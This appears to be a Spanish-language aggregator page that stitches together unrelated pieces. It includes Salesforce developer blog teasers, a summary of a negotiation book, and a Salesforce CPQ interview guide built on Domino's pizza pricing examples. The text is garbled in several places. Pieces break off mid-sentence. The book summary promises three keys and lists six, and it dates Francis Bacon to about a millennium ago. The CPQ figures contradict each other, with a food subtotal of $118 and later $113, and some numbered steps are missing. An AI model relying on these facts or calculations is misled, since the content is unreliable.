Si es un socio ISV de Salesforce, este blog le ofrece las funciones más importantes para usted en la versión Summer ’24.
The post Notas de la versión para ISV en Summer ’24 appeared first on Blog de desarrolladores de Salesforce.
Seguir leyendoSi es un socio ISV de Salesforce, este blog le ofrece las funciones más importantes para usted en la versión Summer ’24.
The post Notas de la versión para ISV en Summer ’24 appeared first on Blog de desarrolladores de Salesforce.
Seguir leyendoAprende, haz demostraciones y construye magníficos sitios Lightning Web Runtime (LWR) con una nueva extensión de Chrome que te permite obtener información detallada sobre los componentes de la página
The post Obtenga información detallada sobre los sitios de Lightning Web Runtime con una nueva extensión de Chrome appeared first on Blog de desarrolladores de Salesforce.
La nueva extensión de Chrome le permite obtener información detallada sobre los componentes de la página
Seguir leyendoRevisa las respuestas a la Encuesta sobre el estado de LWC 2023 y, a continuación, completa la encuesta 2024, que se llevará a cabo hasta finales de marzo de 2024.
Participa en la Encuesta sobre el estado de LWC 2024
The post Las principales mejoras que los desarrolladores desean ver en LWC: ¡hágase oír hoy mismo! appeared first on Blog de desarrolladores de Salesforce.
Seguir leyendoEn los últimos meses he escrito mucho sobre lo que yo llamo Large Action Models, o LAMs, una variación más activa y autónoma de los LLMs que no se limitan a generar contenido como texto o imágenes, sino que realizan tareas completas e incluso participan en flujos de trabajo, ya sea junto a personas
Aunque esperamos que su organización de Salesforce sea la excepción, según las últimas investigaciones, es probable que albergue más de 2000 riesgos de seguridad de código personalizado, alrededor de 14 paquetes instalados obsoletos y muchos errores de automatización. Pero seguro que su organización es la excepción, ¿verdad? Recientemente hemos analizado los metadatos agregados de cientos de orgs reales de Salesforce y […]
El post Optimice su organización de Salesforce con estos 7 datos críticos appeared first on Salesforce Ben.
Su organización es la excepción
Seguir leyendoLos talleres Well-Architected defienden los principios de «buena arquitectura» de Salesforce, pero lo más importante es que los participantes trabajan en grupos para debatir y proponer soluciones que apliquen estos principios a escenarios empresariales. La iniciativa y los talleres Well-Architected fueron creados por el equipo Salesforce Architect Relations. Recientemente asistí a uno impartido por Gaurav Kheterpal, un arquitecto empresarial de múltiples nubes (con muchos galardones), […]
El post Talleres bien diseñados: Build Your Salesforce Architect Mindset appeared first on Salesforce Ben.
Talleres bien diseñados: Construya su mentalidad de arquitecto de Salesforce
Seguir leyendoCon la IA como prioridad para todos los líderes de TI, descubra cómo estos nuevos lanzamientos de IA están impulsando la productividad y la eficiencia de los equipos de TI.
Seguir leyendoSalesforce Inspector es una extensión de navegador (¡una gran noticia tanto para usuarios de Chrome como de Firefox!) que le permite interactuar fácilmente con los datos y navegar a las secciones de configuración de una forma más eficaz que la navegación estándar. Se trata de una solución esencial para ahorrar tiempo a todos los profesionales que trabajan con Salesforce. Este post entrará en los detalles […]
El post Salesforce Inspector Reloaded appeared first on Salesforce Ben.
Seguir leyendoEn un estudio de investigación realizado por alumnos universitarios una década atrás, más de un tercio de los participantes contestaron que casi nunca o nunca negociaban con otras personas. Sin embargo, la verdad es completamente diferente. Todo en la vida es negociable, bajo cualquier condición, en todo momento, argumentan Peter B. Stark y Jane Flaherty. Desde pedirle a tu pareja que saque la basura a derretirte en la autopista en el tráfico de la hora pico, a determinar qué hora programar una cita con un cliente a decidir qué programa de televisión mirar con tu familia, cada aspecto de la vida de algún modo tiene algo de negociación.
Ahi es donde el esfuerzo conjunto de Stark y Flaherty comienza, y aparece “The Only Negotiating Guide You’ll Ever Need”. Dividido en dos partes: “The Skillful Negotiator” y “101 Tácticas Para Una Negociación Exitosa”. Este libro combina la teoría y la práctica y además de revisar las bases de la negociación, también provee una amplia selección de ejemplos de la vida real y tácticas de todas las esferas de la vida. Por lo tanto, ¡ prepárate para familiarizarte con las bases de la negociación como también las claves para crear resultados exitosos donde ambas partes ganen!
Todas las negociaciones que hayas tenido hasta ahora y tendrás hasta el final de tu vida terminara en una de los cuatro posibles resultados:
Perder – perder,
Ganar – perder,
Ganar – Ganar, o
Ningún resultado.
Veamos cada uno en especial.
Perder-perder. Es el resultado menos deseable de una negociación. Desafortunadamente, es también el que sucede con más frecuencia. Stark y Flaherty apuntan al paro de trabajadores de almacenes del sur de California en Junio del 2016 contra la cadena de supermercados Ralphs and Albertsons, el cual terminó con el hecho de que los trabajadores aceptaron una reducción del 35% de sus pensiones y Ralphs and Albertsons perdiendo casi $1.5 billón en ventas y casi el 30% del mercado. Casi siempre en un paro laboral todos pierden,” Stark y Flaherty concluyen.
Ganar – Perder o perder – ganar. Es el resultado que todos secretamente esperan porque por supuesto esperan terminar del lado ganador. A largo plazo este resultado no funciona tan bien como piensas. Es porque cuando contribuyes a la creación de una situación de ganar – perder el perdedor probablemente se negara a negociar contigo nuevamente en el futuro. Casi todas las relaciones de ganar -;perder terminan en perder -perder con el tiempo.
Ganar-Ganar. Es el resultado ideal para la mayoría de las negociaciones. Las necesidades y objetivos de ambas partes son encontrados por lo tanto ambos se distancian con un sentimiento positivo y una necesidad de negociar con el toro nuevamente. Como un ejemplo de este tipo de resultado,Stark y Flaherty señalan a Barack Obama normalizando de manera exitosa las relaciones entre los Estados Unidos y Cuba luego de medio siglo.
Luego de años y años de negociaciones fallidas, ambos países pudieron liberar a los prisioneros. Los norteamericanos y los cubanos eran libres de viajar a Cuba. Además, los cubanos se beneficiarán ampliamente de los ingresos del comercio y turismo que les brinda a su país proveniente de los Estados Unidos.
ningún resultado. El resultado posible final de una negociación es el no resultado. aquí ninguna de las partes ganan o pierden y todo permanece en el modo que había sido al comienzo. Un gran ejemplo de negociación de no resultado es que estés tratando de vender un auto. Si tu comprador no está de acuerdo con tu estimación y no estás de acuerdo con su oferta, entonces probablemente se irán y tratarás de encontrar otro comprador en un intento de cambiar el no resultado en un resultado ganar – ganar o ganar- perder.
Tres claves para crear un resultado ganar-ganar
Gerard I. Nierenberg, el Padre del Entrenamiento de la Negociación, una vez escribió, En una negociación exitosa, todos ganas.
Sin embargo esto es sólo raramente el caso. Y Stark y Flaherty señalan que existen algunos negociadores que han construido una fuerte reputación por alcanzar de manera constante resultados ganar ganar en sus debates. ¿Cómo lo hacen? bien si quieres unirte al a su random entonces el mejor es mantener alguna de las siguientes tres consejos:
Los tres elementos más críticos en la negociación son:
1) Ten paciencia
2) Se persistente;
3) Cuando sea posible, muevete rapido,
4) Darte cuenta que los plazos pueden ser movidos cambiados o eliminados;
5) toma en consideración la línea de tiempo de tu contraparte y finalmente
6) Haz que el tiempo funcione para ti, en vez de en tu contra.
2. Información. Alrededor de un milenio atrás, Francis Bacon famosamente remarcó que el conocimiento equivale al poder y que no existe nada más verdadero que esto con respecto a las negociaciones. Cuanto más sabes sobre el tema que está siendo negociado mejore sera el resultado para ti. Cuanto menos sepas más susceptible eres en estar del lado perdedor de un resultado Ganar perder. Como ya hemos mencionado, una negociación es un proceso y un que comienza mucho antes que el verdadero encuentro cara a cara. Estate preparado. Encontrar todo que necesitas de alguien que tenga los hechos y las estadísticas, sea un amigo tuyo o un pariente, un colega o un conocido de tu contraparte. Investiga en internet chequea los archivos y nunca te olvides que tu contraparte, si es inteligente, hará lo mismo.
3. Poder. Si tienes poder pero no lo utilizas el poder no agrega valor a la negociación: sin embargo si lo utilizas entonces el poder puede ser severamente influenciar el resultado de cualquier negociación. De acuerdo a Stark y Flaherty, existen diez tipos de poder que necesitas para ser tomado en cuenta porque, según pueda decir, todos ellos pueden ser utilizados y abusados por cualquier parte de la negociación. Estas diez clases son las siguientes: 1) posición; 2) conocimiento de experiencia; 3) carácter o ética; 4) recompensa; 5) castigo; 6) género; 7) falta de poder; 8) carisma o poder personal; 9) falta de interés o deseo y finalmente 10) locura. Cuando se trate de poder en cualquier momento que entres en una negociación, recuerda las siguientes cinco hechos: 1) Casi nunca tiene un lado todo el poder; 2) El poder puede ser real o aparente; 3)El poder existe solo al punto en el cual es aceptado, 4)Las relaciones de poder pueden cambiar y 5) cuando sea posible, el poder debe ser examinado.
De acuerdo a Stark y Flaherty, sin importar el tema de una negociación, siempre será una de los tres tipos de negociadores en cualquier lado de la conversación: tiburones, carpas y delfines. Cada tipo tiene un patrón diferente y estilo de negociaciones y hacer respuestas diferentes a sus movimientos de su contraparte. Por lo tanto dediquemos unas palabras a cada uno:
1.Tiburones. Todos las negociaciones tienen un resultado” ganar -perder» ellos están preparados para hacer todo lo posible para no terminar en el lado perdedor. Los tiburones creen en la escasez y juegan un juego zero sum, convencidos que a menos que ganen, la otra parte lo hará. Sintiendo que las victorias no son solo una parte importante de la viuda sino una herramienta vital para sobrevivir en el mundo voraz del capitalismo occiodentalm los tiburones tienen sus ojos en matar y nada más. Su única naturaleza es o llevar la delantera.
Algunas Tácticas para la Negociación Exitosa
Aunque los términos estrategia y táctica son con frecuencia utilizados de manera intercambiable en el discurso coloquial existe realmente una gran diferencia entre ambos. Principalmente mientras una estrategia es un plan para alcanzar algo una táctica puede ser mejor descripta como un mecanismo para cumplir un fin. Por lo tanto, algunas tácticas muy bien elegidas que tienen el mismo objetivo en mente pueden combinar formar una estrategia a largo plazo. Una estrategia en otras palabras es algo que consiste en múltiples tácticas. Aquí hay unas tácticas comunes de negociación que te ayudan a construir una estrategia de negociación para la próxima vez que necesitas una:
Notas Finales
Aunque no te guste utilizar las tácticas de negociación en tus encuentros diarios es bueno aprender alguno de ellos para ser capaz de protegerte, porque existe una buena chance de al menos que unas personas puedan utilizar las tácticas en tu contra.
Enlace de Whatsapp para el grupo Salesforce CPQ
¿Está listo para profundizar en los métodos de fijación de precios de Salesforce CPQ, el modelo de cascada de precios y los descuentos de CPQ? Entenderemos los precios de Salesforce CPQ y abordaremos las preguntas de la entrevista con la ayuda de las deliciosas ofertas de Domino. 🤤📊🍕
¿Cuáles son los métodos de fijación de precios en Salesforce CPQ?
¿Cuál es el precio de lista en Salesforce CPQ?
El precio de lista es el precio que se recupera de la entrada del libro de precios. Una parte importante del precio de lista es la entrada en el libro de precios, ya que los precios se invocan desde el libro de precios. Cada producto debe tener una entrada en el libro de precios; de lo contrario, el producto no aparecerá en la página de selección del editor de líneas de cotización.
Por ejemplo, Domino's tiene su nueva pizza “AI Extravaganza”, con un precio de $24 en su lista de precios CPQ. Ese es nuestro precio de lista. Ahora, en “Techie Night”, ofrecen un 20% de descuento para todos los entusiastas de la tecnología. Salesforce CPQ toma el precio de lista de $24, calcula el descuento del 20 % y al cliente se le ofrece la pizza a $19,20. Pero sin que la entrada del libro de precios de lista establezca el precio de lista.
¿Cuál es el precio de costo?
El precio de costo se utiliza cuando un producto cuesta una cantidad específica para obtenerlo, luego puede agregar el precio de costo y agregar el precio de margen al producto. El margen de beneficio se puede negociar entre los representantes de ventas y el cliente. El precio de costo es el precio que se completa en el precio especial. campo.
Imagine la nueva pizza “AI Extravaganza” de Domino's. Los ingredientes, la mano de obra y los costos generales suman hasta $15 por pizza: ese es nuestro precio de costo. Ahora, Domino's quiere una parte de las ganancias, por lo que añaden un margen de beneficio. Digamos que lo aumentan en $9, lo que hace que el precio de lista sea de $24 (el precio que ves en el menú).
¿Qué es el precio por bloque?
Los precios en bloque son los precios que se actualizan en función de las cantidades del producto comprado. Por ejemplo, un paquete de 1 a 10 unidades costará 10 $, 10 a 20 unidades costará 18 $ y así sucesivamente.
Para configurar el precio por bloque necesitamos actualizar los 4 datos.
Nombre: establezca el nombre para bloquear el método de fijación de precios.
Límite inferior: la cantidad más baja para el rango de cantidades.
Límite superior: la cantidad más alta para el rango de cantidades.
Precio: Precio que se configurará para el rango de cantidad determinado.
Nota: El límite superior del precio de un bloque y el límite inferior del precio del siguiente bloque deben ser iguales.
Entendamos con la ayuda del escenario de Dominos, imaginemos el precio en bloque como la oferta especial de Domino's en sus pizzas, pero en lugar de "Compre 1, obtenga 1 gratis", es más como "¡Compre más, ahorre más!". Este enfoque se utiliza en Salesforce CPQ para alentar a los clientes a comprar en mayores volúmenes reduciendo el precio unitario a medida que aumenta la cantidad.
Digamos que Domino's está vendiendo su pizza "AI Extravaganza" e introduce una estrategia de precios en bloque para impulsar las ventas:
– **Nombre**: “Acuerdo en bloque de extravagancia de IA”
– **Límite inferior**: 1 (número mínimo de pizzas)
– **Límite superior**: 10 (número máximo de pizzas antes del siguiente bloque)
– **Precio**: $24 por pizza
Entonces, si pides entre 1 y 10 pizzas “AI Extravaganza”, cada una te costará $24. Pero Domino's quiere incentivarlo a pedir más para sus reuniones tecnológicas o noches de juegos, por lo que presenta lo siguiente:
– **Límite inferior del siguiente bloque**: 11
– **Límite superior del siguiente bloque**: 20
– **Precio del siguiente bloque**: $22 por pizza
Con esta oferta, si pides de 11 a 20 pizzas, el precio baja a $22 cada una. Los asistentes están contentos porque hay mucha pizza y Domino's está encantado con el pedido más grande. ¡Es beneficioso para todos!
Entonces, el precio por bloque es como desbloquear descuentos por volumen: cuanto más pides, más barata se vuelve cada pizza.
¿Qué es el porcentaje del total?
El porcentaje del total se calcula en función del porcentaje de la suma de todos los demás productos que se compran. Por ejemplo, la propina por una cuenta en un restaurante se calcularía en esta categoría.
Para implementar el porcentaje del total, necesitamos actualizar los siguientes campos en los productos:
Método de fijación de precios: configúrelo en "Porcentaje del total"
Porcentaje de la base total: este campo dice en qué campo de precio debemos implementar el porcentaje del total.
Anulación de precio de opción: este precio funcionará solo en el producto del paquete. Las opciones del producto son la opción del paquete. Puede anular el precio del producto si se vende de forma independiente y junto con el paquete.
¡Sumerjámonos en el concepto de “porcentaje del total” con un delicioso escenario de Domino!
Imagina que estás organizando una gran noche de juegos. Entonces, pides una variedad de pizzas, guarniciones y postres, suficiente para satisfacer los diversos antojos de tus amigos. Aquí hay un desglose de su pedido:
5 pizzas a $15 cada una | $75 |
4 órdenes de pan de ajo a $5 cada una | $20 |
3 pasteles de lava a $6 cada uno | $18 |
Total | $118 |
Las bebidas son una entidad separada. | |
6 botellas de refresco a $2.50 cada una | %15 |
Así es como se integra en Salesforce CPQ:
Método de fijación de precios: seleccionaron "Porcentaje del total". Es dinámico y cambia con sus opciones y porciones de alimentos.
Porcentaje de la base total: se define como la “factura total de alimentos”, que es el costo de pizzas, guarniciones y postres, por un total de $113. Tus refrescos están fuera de esto.
Anulación de precio de opción: normalmente, una botella de cola de Domino's cuesta $2,50, pero usted pidió el "¡Combo!" ¡Este privilegio combinado reduce el costo de los refrescos a $1.80 por botella, lo que le permite ahorrar $4.20 en bebidas!
Total
El “impuesto de fiesta” es el 10% de $113, por lo que son $11,30. El costo total de la comida fue de $113, las bebidas fueron de $15 y con el descuento en bebidas debido a la oferta "Combo", restas $4.20 y luego sumas tu "Impuesto de fiesta" de $11.30. Entonces, ¡el total general de la noche es $135,10!
¿Explica el concepto de “precio de opciones”?
Imagina que estás organizando una fiesta de pizza y Domino's tiene esta oferta llamada "Paquete de fiesta de pizza", que incluye pizzas, guarniciones y bebidas.
Así es como funciona:
Precio opcional: en el “Paquete para fiestas de pizza”, el pan con ajo no cuesta $5; ¡cuesta solo $ 3,75! Obtiene un recorte de precio porque está en un paquete.
Pasos:
1. Primero, agrega pan de ajo a su carrito; sigue siendo $5.
2. Luego, eliges el “Paquete Pizza Party” y el pan de ajo en tu paquete ahora tiene un precio de $3.75.
Lo que sucede aquí, debido al concepto de Precio de Opción, es que el sistema verifica si el pan con ajo es parte del “Paquete de Pizza Party”. entra en vigor el precio con descuento de $ 3,75, como se especifica en la opción del paquete.
¿Explicar las limitaciones en el precio de las opciones?
El precio de la opción no admite monedas múltiples, por lo que solo es posible definir el precio de anulación en una sola moneda.
¿Explicar los precios contratados en Salesforce CPQ?
Imagine que Domino's tiene una empresa cliente leal, “Pizza Lovers Texas Inc.”, una empresa local que pide pizzas para su personal todos los viernes. Dado que realizan pedidos con tanta frecuencia y al por mayor, Domino's quiere ofrecerles una oferta especial.
Así es como funciona:
1. Normalmente, una pizza vegetariana grande cuesta $15. Pero para Pizza Lovers Texas, Domino's establece un precio contratado de 12 dólares por pizza, un gesto de lealtad.
¡Consejos profesionales sobre precios contratados! 🍕✨
1. No hay ofertas dobles: si Pizza Lovers Texas Inc. tuviera dos precios contratados diferentes para la misma pizza vegetariana, un contrato la ofrece a $12 y otro anterior a $14. El sistema Salesforce de Domino no sabría cuál debo elegir. Para evitar esto, CPQ se asegura de tener solo UN precio contratado por producto para cada cuenta.
2. Excepciones de precios especiales: los productos que utilizan métodos de fijación de precios, precios en bloque o porcentaje del precio total, no funcionan con el precio contratado.
3 Asuntos familiares: si las Cuentas están vinculadas por una relación padre-hijo, entonces, de forma predeterminada, todos los hijos heredan el Precio Contratado creado en la Cuenta Padre.
Digamos que PizzaLovers Texas Inc. es parte de un imperio más grande, "PizzaLovers Universe", con subsidiarias como "PizzaLovers Chicago" y "PizzaLovers Bay" instaladas en diferentes ubicaciones. Domino's establece un precio contratado con la empresa matriz, "PizzaLovers Universe". Salesforce CPQ aplica automáticamente este precio contratado a todas las subsidiarias de PizzaLovers porque, en el mundo de la pizza, la familia está unida.
¿Explique el caso de uso de 'Ignorar precios contratados por los padres'?
¿Qué pasa si “PizzaLovers Chicago” negocia un trato exclusivo y diferente porque piden el doble cada viernes? Domino's simplemente cambia la opción "Ignorar precios contratados de la empresa matriz" a verdadero en esa cuenta, asegurando que "PizzaLovers Chicago" obtenga su oferta única, mientras que el resto aún se beneficia del precio contratado de la empresa matriz.
¿Explicar el precio “Anulación manual” en los precios de Salesforce CPQ? 🍕🔥
1.Crea tu propia pizza:
Dominos sabe que a veces quieres crear tu propia pizza. Por lo tanto, establecieron el campo "Precio editable" en verdadero en el producto "Crea tu propia pizza". Ingresa al Editor de líneas de cotización y puede ajustar el precio de lista según la cantidad y el tipo de ingredientes que elija para esa pizza.
2. Flexibilidad:
Domino's ofrece conexión Wi-Fi gratuita en sus restaurantes. El Wi-Fi normalmente se "vende" usando el "Método de precio = Lista", pero para reservas de grupos grandes, lo ofrecen como un beneficio, parte del "Método de precio = Porcentaje del total" con la factura total. Para cambiar entre estos métodos, hacen que el campo "Método de fijación de precios" sea editable en el Editor de líneas de cotización configurando "Método de fijación de precios editable" en verdadero para el producto (en este caso, Wi-Fi).
3. Ofertas personalizadas para comidas personalizadas:
A veces, un cliente negocia un trato que no se ajusta a los métodos de fijación de precios habituales. Domino's responde configurando 'Método de fijación de precios = Personalizado' en el Editor de líneas de cotización. Luego, el personal puede establecer manualmente un precio personalizado.
4. El lado sorpresa:
¿Alguna vez el personal de Domino's te recomendó pan de ajo con queso para pedir? A veces, lo agregan a su pedido como un artículo "Opcional" configurando el campo "Opcional" en verdadero en el Editor de líneas de cotización. No sumará su total, pero está ahí para que lo considere.
¿Explicar la cascada de precios?
¡Profundicemos en el concepto de cascada de precios en Salesforce CPQ! 💦
La cascada de precios de CPQ es un proceso/secuencia de varios pasos que utiliza diferentes precios y descuentos para llegar al precio neto (este es el campo de precio para el total de la línea de cotización/cotización).
Se describe como una cascada que se abre camino de arriba a abajo a través de los diferentes precios y descuentos/ajustes.
1. Precio de lista:
Este es el punto de partida: el precio del menú. Digamos que el precio de lista de la pizza grande “ExtravaganZZa” de Domino's es de $20, como figura en su Libro de precios.
2. Precio Contratado:
Domino's tiene clientes leales, como el "Pizza Club", que cenan todos los martes. Han negociado un 5% de descuento en todas las pizzas a través de un programa de fidelización. Entonces, para ellos, el precio contratado para “ExtravaganZZa” no es $20 sino que baja a $19 ($20 menos 5%).
3. Precio especial:
En ocasiones, Domino's ofrece una promoción especial de un día, como “Cheesy Thursday”, donde todas las pizzas tienen un 10% de descuento adicional. Esta promoción se aplica sobre el Precio Contratado o el Precio de Lista. Para el leal “Pizza Club”, esto reduce su pizza de $19 a $17,10 para ese día.
4. Precio prorrateado:
Supongamos que un miembro del club quiere comprar la mitad de un “ExtravaganZZa” y la mitad de un “Veggie Delight” (también con un precio de 20 dólares). Dominos calcula un Precio Prorrateado, donde toman el Precio Especial ($17.10) y lo multiplican por un factor considerando el escenario de mitad y mitad, digamos 0.5 por cada mitad, lo que equivale a $8.55 por cada porción de media pizza.
5. Precio Regular:
Si no hay un escenario especial, se aplica el Precio Regular. Es el Precio Prorrateado o vuelve al Precio de Lista original. Entonces $19 por “ExtravaganZZa”.
En el contexto del escenario de Domino's pizza con Salesforce CPQ, analicemos en detalle el precio para el cliente, el precio para el socio y el precio neto.
6. Precio al cliente:
Es el precio final que paga un consumidor directo después de considerar todos los descuentos aplicables y precios especiales. Para los miembros del “Pizza Club” que cenen un “Cheesy Thursday”, el precio al cliente por un “ExtravaganZZa” sería la tarifa especial de $17,10.
7. Precio del socio:
El Precio de Socio es una tarifa especial que se ofrece a los socios comerciales, generalmente más baja que la tarifa estándar, para adaptarse a los márgenes de beneficio de los socios. Por ejemplo, una aplicación de entrega de alimentos 'Uber' podría recibir el "ExtravaganZZa" a un precio de socio de $16, lo que les permitirá aumentarlo para sus clientes.
8. Precio Neto:
Son los ingresos que el vendedor se queda con la venta después de deducir todos los descuentos, bonificaciones o rebajas. El precio neto refleja los ingresos reales que obtiene el vendedor por el producto antes de restar sus costos internos.
En el caso de Domino's, el precio neto es la cantidad que Domino's registra como ingreso por la pizza "ExtravaganZZa" vendida al miembro del club el "Cheesy Thursday".
¿Cómo puede Salesforce CPQ ayudar a una empresa a gestionar la complejidad de los precios de manera más eficiente?
Con Salesforce CPQ, en lugar de crear múltiples libros de precios, la empresa puede tener un libro de precios estándar y aplicar excepciones y ajustes de precios según sea necesario. Por ejemplo, si hay un descuento del 20 % a nivel nacional en la pizza "Veg Extravaganza", esto se puede aplicar además del libro de precios estándar sin crear uno nuevo.
¿Pueden los representantes de ventas ofrecer productos como parte de un paquete a un precio diferente con Salesforce CPQ, aunque sea el mismo producto que figura en el libro de precios?
¡Sí! Salesforce CPQ permite configuraciones de precios avanzadas. Por ejemplo, una botella de “Coca-Cola” podría tener un precio de 2 dólares si se vende individualmente. Aún así, cuando forma parte del paquete “Family Feast” (que incluye pizzas, guarniciones y una bebida), el precio efectivo de la “Coca-Cola” dentro del paquete podría ser de solo $1,50. Este precio diferencial es posible dentro del mismo libro de precios debido a la flexibilidad de Salesforce CPQ.
¿Los representantes de ventas todavía necesitan libros de precios si utilizan Salesforce CPQ?
Sí, los libros de precios siguen siendo un elemento fundamental en Salesforce CPQ. Proporcionan los precios de referencia a partir de los cuales se derivan todos los ajustes, descuentos o precios especiales. Si un producto no tiene una entrada en el libro de precios, no aparecerá en la página de selección de productos y no se podrá agregar a una cotización. Incluso una entrada de $0 puede ser significativa, ya que puede indicar un artículo complementario o un producto cuyo precio final se determinará mediante los métodos de fijación de precios de Salesforce CPQ.
¿Qué deben recordar los representantes de ventas al crear nuevos productos en su sistema?
Domino's siempre debe asegurarse de que cualquier producto que introduzca tenga una entrada en el libro de precios asociada. Esta inclusión es crucial porque, sin ella, el producto no estará disponible para su selección al crear cotizaciones, incluso si está destinado a ser un artículo promocional con un valor de cero dólares.
Analicemos cómo funcionan los métodos de fijación de precios de Salesforce CPQ, centrándonos particularmente en la fijación de precios de opciones y su interacción con otros métodos, utilizando Domino's como nuestro escenario de ejemplo.
¿Para qué sirve la casilla de verificación incluida?
Si Domino's decide que el "Combo de fiesta" es una promoción especial y los artículos individuales que contiene (las opciones) no deben tener el precio habitual cuando se venden por separado, marcarán la casilla "Combinado" en Salesforce CPQ para este combo.
Esto significa que aunque una “Pizza Vegetariana” por sí sola suele costar $18, dentro del “Combo de Fiesta” tiene un precio de $0.00, al igual que los demás artículos del combo.
Descuentos en Salesforce CPQ
¿Qué es el descuento opcional en CPQ?
Domino's ofrece un paquete de productos, similar a una oferta combinada, llamado "Pizza Fiesta". Este paquete incluye una pizza grande “Veggie Extravaganza”, “Cheesy Bread” y un refresco.
¿Cómo configurar el descuento opcional en CPQ?
2. Identificación del artículo con descuento: Domino's decide que el “Cheesy Bread” será un 10% más barato si se pide como parte del paquete “Pizza Fiesta”, en comparación con su precio regular a la carta.
3. Configuración del descuento en Salesforce CPQ: el administrador de Domino's ingresa a Salesforce CPQ y navega hasta el producto del paquete principal "Pizza Fiesta" en el sistema. En la pestaña Relacionados, encontrarán todos los productos que forman parte de este paquete enumerados como Opciones de producto.
4. Aplicación del descuento opcional: el administrador ubica el “Pan con queso” dentro de la lista de Opciones de producto para el paquete “Pizza Fiesta”. Luego establecieron un precio específico que indica que cuando el “Cheesy Bread” es parte del paquete “Pizza Fiesta”, genera un descuento del 10% en este artículo en particular.
¿Explicar la función de descuento manual en Salesforce CPQ?
Imagine que un cliente habitual realiza un pedido al por mayor para una próxima fiesta. Pidieron 20 pizzas “vegetarianas”, cada una con un precio original de $10. Para premiar esta compra al por mayor, el responsable comercial ha decidido ofrecer un descuento especial. En lugar del precio normal, quieren que el costo total de las 20 pizzas sea de $150, en lugar de $200.
¿Qué es un campo no descontable en Salesforce CPQ?
Domino's está realizando una promoción especial en pizzas "Veggie Delight", y estas no son elegibles para más descuentos. El campo "No descontable" se marcaría para este producto en Salesforce CPQ, evitando cualquier descuento manual adicional en este artículo, independientemente del tamaño del pedido.
¿Cómo agregar valores de Unidad y Total a la lista de selección?
Nos dirigimos al objeto Línea de Cotización y creamos un nuevo campo de tipo lista de selección con el nombre AdditionalDiscountUnit y los valores que se muestran a continuación.
Ahora podemos elegir valores adicionales.
¿Explicar el descuento para socios y distribuidores en Salesforce CPQ?
Este método se utiliza cuando queremos darle un descuento de socio adicional al cliente. Los valores de estos descuentos se muestran en los campos Descuento de distribuidor y Precio unitario neto en el objeto Línea de cotización. Se calculan mediante las siguientes fórmulas:
Precio para socios = Precio para clientes – Descuento para socios
Precio neto = Precio de socio – Descuento de distribuidor
¿Explicar el descuento basado en el volumen?
Domino's quiere dar un incentivo a los clientes para que pidan más pizzas durante una copa mundial de cricket ofreciendo descuentos basados en el volumen.
1. Configuración del programa de descuentos:
El administrador de Domino's navega a la pestaña "Programaciones de descuentos" dentro de Salesforce CPQ y crea una nueva programación denominada "Especial del día del juego".
– Luego hacen clic en “Editar niveles” y configuran los niveles de volumen de la siguiente manera:
– 1-10 pizzas: 0% de descuento
– 11-20 pizzas: 10% de descuento
– 21-30 pizzas: 15% de descuento
– 31+ pizzas: 20% de descuento
– Guardan esta estructura de niveles, que dictará el descuento aplicado en función de la cantidad de pizzas solicitadas.
2. Aplicación del Programa de Descuentos a los Productos:
Luego, el administrador va a la pestaña "Productos" y selecciona las pizzas elegibles para esta promoción, como "Cheesy Extravaganza" y "Veggie Feast".
– En el campo “Programa de descuentos” de cada producto, seleccionan el programa “Especial del día del juego” que crearon previamente.
3. Realización de pedidos y cálculo de descuentos:
– Un cliente hace un pedido de 25 pizzas “Cheesy Extravaganza” durante el fin de semana del evento de cricket.
– Cuando el pedido ingresa al sistema, el comercial crea una nueva cotización y le agrega las 25 pizzas.
– Al hacer clic en “Calcular” en Salesforce CPQ, el sistema reconoce automáticamente que la cantidad cae en el nivel 21-30, aplicando así un descuento del 15% al pedido.
– El representante de ventas ve el precio regular y el precio con descuento uno al lado del otro, confirmando que el descuento por volumen se aplicó correctamente.
4. Verificación de los detalles del descuento:
Junto a la pizza "Cheesy Extravaganza" en la cotización, aparece un signo "$" para indicar que se aplica un programa de descuentos.
Al hacer clic en él, el representante de ventas (y cualquier otro usuario con los permisos necesarios) puede ver los niveles de descuento, lo que brinda transparencia sobre cómo se calculó el precio final.
¿Cuál es la estructura del programa de descuentos?
La estructura típica de un programa de descuentos implica la definición de niveles específicos. Cada nivel incluye el nombre del nivel, el límite inferior, el límite superior y el descuento (porcentaje/monto) aplicable en ese nivel.
Hay dos formas en que funciona el programa de descuentos: –
1. Programa de descuentos de losa:
Domino's quiere ofrecer un descuento de Slab durante un festival local. Establecieron los siguientes niveles:
– 1-5 pizzas: 0% de descuento
– 6-10 pizzas: 5% de descuento
– 11+ pizzas: 10% de descuento
Utilizando el método Slab, Salesforce CPQ calcula el descuento de la siguiente manera:
Las primeras 5 pizzas obtienen un 0% de descuento.
Las siguientes 5 pizzas (pizzas 6 a 10) reciben un 5% de descuento.
Las 2 pizzas finales (pizzas 11 y 12) reciben un 10% de descuento.
Cada “losa” o nivel de pizzas se descuenta según su respectivo tramo, no según la cantidad total del pedido.
2. Programa de descuentos por rango:
Domino's decide ofrecer un descuento de gama durante un evento deportivo importante. Establecieron los siguientes niveles:
– 1-7 pizzas: 0% de descuento
– 8-14 pizzas: 7% de descuento
– 15+ pizzas: 15% de descuento
Utilizando el método Rango, Salesforce CPQ calcula el descuento de la siguiente manera:
– El total de 10 pizzas se encuentran dentro del rango de 8 a 14.
– Por tanto, las 10 pizzas reciben un 7% de descuento.
El descuento se aplica al pedido total según el rango en el que se encuentra la cantidad total.
¿Cuáles son los pasos para configurar un programa de descuentos?
¿Cuáles son los pasos para crear niveles de descuento y asociar el programa de descuentos con el producto?
9. Haga clic en Guardar.
10. Abra la pestaña Producto desde la barra de navegación y seleccione el producto al que queremos asociar el Programa de Descuentos.
11. Haga clic en el botón 'Editar'.
12. En el campo Programación de descuentos, ingrese el nombre del programa de descuentos creado.
13. Haga clic en el botón 'Guardar'
Seguir leyendoPreguntas de la entrevista de Salesforce CPQ, parte 1
Enlace de Whatsapp para el grupo Salesforce CPQ
1. ¿Qué son los filtros de búsqueda en el editor de líneas de cotización?
El filtro de búsqueda del editor de líneas de cotización se puede utilizar para filtrar productos, activos o suscripciones por sus valores de campo.
2. ¿Cuál es la diferencia entre la regla del producto y la regla del precio?
La estructura general de las reglas de precios y de productos es la misma:
Reglas del producto
Las reglas de productos se utilizan para hacer cumplir la lógica empresarial, ayudar a automatizar los comentarios a los representantes de ventas sobre las selecciones de productos y también aceleran el proceso de cotización.
Hay 4 tipos de reglas de producto:
Reglas de validación: cuando no se cumplen las condiciones, se muestra un mensaje de error y los usuarios no pueden continuar hasta que se solucione la situación. Por tanto, actúan como un freno duro .
